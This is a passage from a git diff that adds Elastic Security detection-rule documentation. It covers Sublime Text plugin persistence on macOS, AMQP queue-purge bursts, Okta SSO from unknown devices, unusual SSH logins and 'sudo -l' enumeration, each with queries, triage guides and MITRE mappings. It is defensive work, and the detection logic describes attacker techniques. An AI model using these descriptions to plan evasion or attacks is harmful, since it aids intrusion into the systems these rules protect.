System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and file.extension == "py" and + file.path like + ( + "/Users/*/Library/Application Support/Sublime Text*/Packages/*.py", + "/Applications/Sublime Text.app/Contents/MacOS/sublime.py" + ) and + not process.executable like + ( + "/Applications/Sublime Text*.app/Contents/*", + "/usr/local/Cellar/git/*/bin/git", + "/Library/Developer/CommandLineTools/usr/bin/git", + "/usr/libexec/xpcproxy", + "/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-amqp-multi-queue-purge-burst.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-amqp-multi-queue-purge-burst.asciidoc new file mode 100644 index 0000000000..cb6822dfbb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-amqp-multi-queue-purge-burst.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-successful-amqp-multi-queue-purge-burst]] +=== Successful AMQP Multi-Queue Purge Burst + +Identifies multiple successful AMQP queue purge operations issued by the same client to the same broker within a short period. The AMQP queue.purge method removes all messages from a queue that are not awaiting acknowledgment. Purging several distinct queues can indicate deliberate message destruction or disruption after broker credentials are compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rabbitmq.com/amqp-0-9-1-reference +* https://attack.mitre.org/techniques/T1485/ + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Successful AMQP Multi-Queue Purge Burst* + + +The AMQP `queue.purge` method removes every ready message from the selected queue. This rule requires successful purge responses for at least three distinct queues from one client-to-broker pair, reducing noise from isolated administrative operations while identifying activity capable of causing broad message loss and application disruption. + + +*Possible investigation steps* + + +- Review `client.ip`, `server.ip`, `Esql.purge_count`, `Esql.queue_count`, `Esql.queues`, `Esql.first_purge`, and `Esql.last_purge` to determine the scope and timing of the activity. +- Search the underlying `logs-network_traffic.amqp-*` events and confirm that each transaction has `network_traffic.amqp.method: "queue.purge"`, `network_traffic.amqp.no-wait: false`, and `network_traffic.status: "OK"`. Together, these values indicate that Packetbeat observed the broker's `queue.purge-ok` response. +- Use RabbitMQ audit and application logs to identify the authenticated user associated with the client connection. AMQP message properties are not authoritative authentication identities. +- Determine whether the source is approved administration or maintenance automation and whether a documented change authorized purging all affected queues. +- Assess message loss and application impact. Review queue-depth metrics, dead-letter queues, publisher errors, consumer lag, and service availability around the alert. +- Correlate the client and account with `queue.delete`, `exchange.delete`, binding changes, unusual consumers, authentication anomalies, and endpoint alerts. + + +*False positive analysis* + + +- Queue maintenance, integration testing, disaster-recovery exercises, and application reset workflows may intentionally purge several queues. +- Treat confirmed recurring activity as a benign true positive and scope exceptions to approved client-to-broker pairs or queue names. Broadly excluding `queue.purge` would conceal the destructive behavior this rule is intended to detect. + + +*Response and remediation* + + +- Revoke or restrict unauthorized RabbitMQ credentials and block the client if the purge was not approved. +- Preserve broker, network, and application evidence before restarting affected services. +- Restore or replay messages from upstream systems, backups, or dead-letter infrastructure where possible. +- Review RabbitMQ permissions and remove unnecessary queue-configuration rights from application accounts. +- Investigate the client host and associated account for credential theft and additional destructive activity. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Network Packet Capture integration with the AMQP protocol analyzer enabled and cleartext +AMQP 0.9.1 visibility. AMQP header and method-argument parsing must remain enabled so the method, queue, and transaction +status are populated. AMQP over TLS is opaque to passive capture. RabbitMQ audit logs are required to map the observed +client connection to an authenticated broker identity. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-network_traffic.amqp-* +| WHERE + data_stream.dataset == "network_traffic.amqp" AND + network_traffic.amqp.method == "queue.purge" AND + network_traffic.amqp.`no-wait` == false AND + network_traffic.status == "OK" AND + client.ip IS NOT NULL AND + server.ip IS NOT NULL AND + network_traffic.amqp.queue IS NOT NULL +| STATS + Esql.purge_count = COUNT(*), + Esql.queue_count = COUNT_DISTINCT(network_traffic.amqp.queue), + Esql.queues = VALUES(network_traffic.amqp.queue), + Esql.first_purge = MIN(@timestamp), + Esql.last_purge = MAX(@timestamp) + BY client.ip, server.ip +| WHERE Esql.purge_count >= 3 AND Esql.queue_count >= 3 +| SORT Esql.queue_count DESC, Esql.purge_count DESC +| KEEP client.ip, server.ip, Esql.purge_count, Esql.queue_count, Esql.queues, Esql.first_purge, Esql.last_purge + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-application-sso-from-rare-unknown-client-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-application-sso-from-rare-unknown-client-device.asciidoc new file mode 100644 index 0000000000..eb364e938e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-application-sso-from-rare-unknown-client-device.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-successful-application-sso-from-rare-unknown-client-device]] +=== Successful Application SSO from Rare Unknown Client Device + +Detects successful single sign-on (SSO) events to Okta applications from an unrecognized or "unknown" client device, as identified by the user-agent string. This activity may be indicative of exploitation of a vulnerability in Okta's Classic Engine, which could allow an attacker to bypass application-specific sign-on policies, such as device or network restrictions. The vulnerability potentially enables unauthorized access to applications using only valid, stolen credentials, without requiring additional authentication factors. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://trust.okta.com/security-advisories/okta-classic-application-sign-on-policy-bypass-2024/ + +*Tags*: + +* Domain: SaaS +* Data Source: Okta +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Okta +* Domain: Identity + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful Application SSO from Rare Unknown Client Device* + + +Single sign-on (SSO) streamlines user access across applications by using a single set of credentials. However, adversaries can exploit vulnerabilities in SSO systems, like Okta's, to bypass security policies using stolen credentials. The detection rule identifies unusual SSO events from unknown devices, signaling potential unauthorized access attempts, thus helping to mitigate risks associated with credential theft. + + +*Possible investigation steps* + + +- Review the event details in the alert to confirm the presence of the "Unknown" or "unknown" client device in the okta.client.device field. +- Check the user-agent string associated with the event to gather more information about the unknown device and assess if it matches any known legitimate devices used by the user. +- Investigate the user's recent login history and patterns to identify any anomalies or deviations from their typical behavior, such as unusual login times or locations. +- Verify if there have been any recent changes to the user's account, such as password resets or modifications to multi-factor authentication settings, which could indicate account compromise. +- Cross-reference the IP address associated with the SSO event against known malicious IP databases or internal threat intelligence to identify potential threats. +- Contact the user to confirm whether they recognize the login activity and the device used, ensuring it was an authorized access attempt. + + +*False positive analysis* + + +- Employees using new or updated devices may trigger false positives. Regularly update the list of recognized devices to include these changes. +- Legitimate users accessing applications from different locations or networks, such as while traveling, can appear as unknown devices. Implement geolocation checks and allow exceptions for known travel patterns. +- Software updates or changes in user-agent strings can cause devices to be misidentified. Monitor for consistent patterns and adjust the rule to accommodate these variations. +- Shared devices in environments like conference rooms or labs may not have unique identifiers. Establish a process to register these shared devices to prevent them from being flagged. +- Temporary network issues causing devices to appear as unknown can lead to false positives. Correlate with network logs to verify if the device is indeed unknown or if it was a transient issue. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access. +- Conduct a thorough review of the affected user's recent activity across all Okta-integrated applications to identify any unauthorized actions or data access. +- Reset the affected user's credentials and enforce a password change, ensuring the new password adheres to strong security policies. +- Implement multi-factor authentication (MFA) for the affected user account if not already in place, to add an additional layer of security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Review and update Okta's device recognition policies to improve detection of unknown or rare devices, reducing the risk of similar incidents. +- Monitor for any further suspicious SSO activities from unknown devices and escalate to the incident response team if additional alerts are triggered. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "okta.system" + and event.action: "user.authentication.sso" + and event.outcome: "success" + and okta.client.device: ("Unknown" or "unknown") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ip-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ip-address.asciidoc new file mode 100644 index 0000000000..5fa5559493 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ip-address.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ip-address]] +=== Successful SSH Authentication from Unusual IP Address + +This rule leverages the new_terms rule type to detect successful SSH authentications by an IP- address that has not been authenticated in the last 5 days. This behavior may indicate an attacker attempting to gain access to the system using a valid account. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.auth-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful SSH Authentication from Unusual IP Address* + + +Secure Shell (SSH) is a protocol used to securely access and manage Linux systems. Adversaries may exploit SSH by using stolen credentials to gain unauthorized access. The detection rule identifies successful logins from IPs not seen in the past 10 days, flagging potential intrusions. This approach helps in spotting unusual access patterns that could indicate compromised accounts. + + +*Possible investigation steps* + + +- Review the IP address flagged in the alert to determine its geolocation and assess if it aligns with expected access patterns for the user account involved. +- Check historical authentication logs for the user account to identify any other unusual or unauthorized access attempts, focusing on the event.category:authentication and event.action:ssh_login fields. +- Investigate the user account's recent activity on the system to identify any suspicious commands or actions executed post-authentication. +- Correlate the flagged IP address with known threat intelligence sources to determine if it is associated with any malicious activity or previously reported incidents. +- Contact the user associated with the account to verify if they recognize the login attempt and if they have recently accessed the system from a new location or device. + + +*False positive analysis* + + +- New employee or contractor access from a previously unseen IP address may trigger the rule. Regularly update the list of known IP addresses for new users to prevent unnecessary alerts. +- Remote workers or employees traveling may log in from different IP addresses. Implement a process to whitelist IP ranges associated with common travel destinations or VPNs used by the organization. +- Automated scripts or services that occasionally run from different IPs can cause false positives. Identify and document these services, then create exceptions for their known IP addresses. +- Cloud-based infrastructure changes, such as new instances or containers, might authenticate from new IPs. Maintain an updated inventory of cloud resources and their expected IP ranges to adjust the rule accordingly. +- Third-party vendors accessing systems for maintenance or support might use different IPs. Establish a protocol for temporary exceptions for vendor IPs during their access periods. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Verify the legitimacy of the login by contacting the account owner to confirm whether the access was authorized. If unauthorized, proceed with further steps. +- Change the password of the compromised account and any other accounts that may have been accessed using the same credentials. +- Review and analyze the system logs for any additional suspicious activity or changes made during the unauthorized access period. +- Escalate the incident to the security operations team for a thorough investigation and to determine if further systems are affected. +- Implement IP whitelisting or geofencing to restrict SSH access to known and trusted IP addresses only. +- Update and enhance monitoring rules to detect similar unauthorized access attempts in the future, ensuring that alerts are promptly reviewed and acted upon. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:ssh_login and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ssh-public-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ssh-public-key.asciidoc new file mode 100644 index 0000000000..39d4af4441 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ssh-public-key.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ssh-public-key]] +=== Successful SSH Authentication from Unusual SSH Public Key + +This rule leverages the new_terms rule type to detect successful SSH authentications via a public key that has not been seen in the last 5 days. Public key authentication is a secure method for authenticating users to a server. Monitoring unusual public key authentication events can help detect unauthorized access attempts or suspicious activity on the system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.auth-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful SSH Authentication from Unusual SSH Public Key* + + +SSH public key authentication is a secure method for accessing Linux systems, relying on cryptographic keys rather than passwords. Adversaries may exploit this by using stolen or unauthorized keys to gain access. The detection rule identifies successful logins using new public keys, unseen in the past 10 days, signaling potential unauthorized access attempts. This helps in early detection of suspicious activities, aligning with threat tactics like Initial Access. + + +*Possible investigation steps* + + +- Review the specific SSH login event details, focusing on the event.category, event.action, and event.outcome fields to confirm the successful authentication via public key. +- Identify the source IP address and user account associated with the login event to determine if they are known or expected. +- Check the system.auth.ssh.method field to ensure the authentication method was indeed public key and not another method. +- Investigate the history of the public key used for authentication by searching logs for any previous occurrences or related activities within the last 10 days. +- Correlate the event with other security logs or alerts from the same host or user to identify any patterns or additional suspicious activities. +- Assess the risk by considering the context of the login, such as the time of access, the location of the source IP, and any recent changes in user behavior or system configurations. +- If unauthorized access is suspected, initiate incident response procedures, including revoking the public key, notifying affected parties, and conducting a thorough security review of the system. + + +*False positive analysis* + + +- Frequent logins from known automation scripts or services using rotating SSH keys can trigger false positives. To manage this, identify these services and add their public keys to an exception list. +- Developers or system administrators who regularly update their SSH keys for security reasons may cause alerts. Maintain a record of authorized personnel and their key update schedules to exclude these events. +- Temporary access granted to third-party vendors or contractors might appear as unusual activity. Ensure that any temporary access is documented and keys are added to an exception list during the access period. +- Test environments where SSH keys are frequently generated and used for various testing purposes can lead to false positives. Implement a separate monitoring policy for test environments to reduce noise in production alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Revoke the unauthorized SSH public key from the system's authorized_keys file to block further access using that key. +- Conduct a thorough review of recent login activities and system logs to identify any additional unauthorized access or suspicious activities that may have occurred. +- Change passwords and regenerate SSH keys for all legitimate users on the affected system to ensure no compromised credentials remain in use. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected system and related network segments to detect any further suspicious activities or attempts to regain access. +- Review and update access control policies and SSH key management practices to prevent similar incidents in the future, ensuring that only authorized keys are allowed and regularly audited. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:ssh_login and event.outcome:success and system.auth.ssh.method:publickey + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-user.asciidoc new file mode 100644 index 0000000000..122249a87f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-user.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-user]] +=== Successful SSH Authentication from Unusual User + +This rule leverages the new_terms rule type to detect successful SSH authentications by a user who has not been authenticated in the last 5 days. This behavior may indicate an attacker attempting to gain access to the system using a valid account. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.auth-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful SSH Authentication from Unusual User* + + +SSH (Secure Shell) is a protocol used to securely access and manage Linux systems. Adversaries may exploit valid user accounts to gain unauthorized access, bypassing traditional security measures. The detection rule identifies unusual SSH logins by flagging users who haven't logged in for over 10 days, indicating potential misuse of credentials. This proactive approach helps in early detection of unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the specific user account involved in the alert to determine if the login is expected or authorized, considering the user's typical login patterns and responsibilities. +- Check the source IP address of the SSH login to see if it is recognized or associated with previous legitimate access, or if it appears unusual or suspicious. +- Analyze the timing of the login event to see if it coincides with any known maintenance windows or scheduled activities that could explain the access. +- Investigate any recent changes to the user's account, such as password resets or modifications to permissions, that could indicate potential compromise. +- Correlate the SSH login event with other logs or alerts from the same timeframe to identify any additional suspicious activities or patterns that could suggest a broader security incident. + + +*False positive analysis* + + +- Users returning from extended leave or vacation may trigger the rule. To manage this, create exceptions for users with known absence periods. +- System administrators or service accounts that log in infrequently for maintenance tasks can be excluded by identifying and documenting these accounts. +- Automated scripts or processes that authenticate sporadically might be flagged. Review and whitelist these processes if they are legitimate and necessary for operations. +- Temporary contractors or consultants with limited access periods may cause alerts. Ensure their access is documented and create exceptions for their accounts during their engagement period. +- Accounts used for testing or development purposes that are not regularly active can be excluded by maintaining a list of such accounts and updating it as needed. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate the active SSH session associated with the unusual login to cut off the attacker's access. +- Reset the password for the compromised user account and any other accounts that may have been accessed using the same credentials. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional compromised accounts. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been affected. +- Implement multi-factor authentication (MFA) for SSH access to enhance security and prevent similar unauthorized access attempts in the future. +- Update and enhance monitoring rules to detect similar unusual login patterns, ensuring early detection of potential threats. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:ssh_login and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sudo-command-enumeration-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sudo-command-enumeration-detected.asciidoc new file mode 100644 index 0000000000..ff65c31976 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sudo-command-enumeration-detected.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-sudo-command-enumeration-detected]] +=== Sudo Command Enumeration Detected + +This rule monitors for the usage of the sudo -l command, which is used to list the allowed and forbidden commands for the invoking user. Attackers may execute this command to enumerate commands allowed to be executed with sudo permissions, potentially allowing to escalate privileges to root. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sudo Command Enumeration Detected* + + +The sudo command in Linux environments allows users to execute commands with elevated privileges, typically as the root user. Attackers may exploit this by using the `sudo -l` command to list permissible commands, potentially identifying paths to escalate privileges. The detection rule identifies this behavior by monitoring for the execution of `sudo -l` from common shell environments, flagging potential misuse for privilege escalation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `sudo -l` command, ensuring the process name is "sudo" and the arguments include "-l" with an argument count of 2. +- Identify the parent process of the `sudo` command to determine the shell environment used, checking if it matches any of the specified shells like "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", or "fish". +- Investigate the user account that executed the `sudo -l` command to assess if the activity aligns with their typical behavior or if it appears suspicious. +- Check for any recent changes in user 